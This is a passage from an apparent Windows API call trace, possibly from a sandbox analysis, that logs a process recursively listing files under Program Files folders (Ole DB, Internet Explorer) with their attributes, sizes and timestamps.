cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0092.652] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0092.653] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0092.653] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0092.653] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.653] GetProcessHeap () returned 0xc00000 [0092.653] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.654] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0092.654] GetProcessHeap () returned 0xc00000 [0092.654] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.656] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.657] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.657] GetProcessHeap () returned 0xc00000 [0092.657] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8d20 [0092.657] FindNextFileW (in: hFindFile=0x37e8d20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x37e8d20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x37e8d20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x37e8d20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x37e8d20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0x37e8d20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0092.659] FindClose (in: hFindFile=0x37e8d20 | out: hFindFile=0x37e8d20) returned 1 [0092.659] GetProcessHeap () returned 0xc00000 [0092.659] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0092.660] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0092.660] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.660] GetProcessHeap () returned 0xc00000 [0092.660] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.662] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0092.662] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0092.662] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0092.662] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0092.663] GetProcessHeap () returned 0xc00000 [0092.663] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0092.663] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0092.663] FindClose (in: hFindFile=0xc19bb8 | out: hFindFile=0xc19bb8) returned 1 [0092.664] GetProcessHeap () returned 0xc00000 [0092.664] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0092.665] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.666] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1f1c3c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1f1c3c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0092.666] GetProcessHeap () returned 0xc00000 [0092.666] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0092.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1f1c3c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1f1c3c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0092.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1f1c3c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1f1c3c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf22da0, ftCreationTime.dwHighDateTime=0x1d5979e, ftLastAccessTime.dwLowDateTime=0x6a2f6f20, ftLastAccessTime.dwHighDateTime=0x1d57b3e, ftLastWriteTime.dwLowDateTime=0x6a2f6f20, ftLastWriteTime.dwHighDateTime=0x1d57b3e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0092.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.667] GetProcessHeap () returned 0xc00000 [0092.667] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0092.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.668] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.669] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0092.669] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 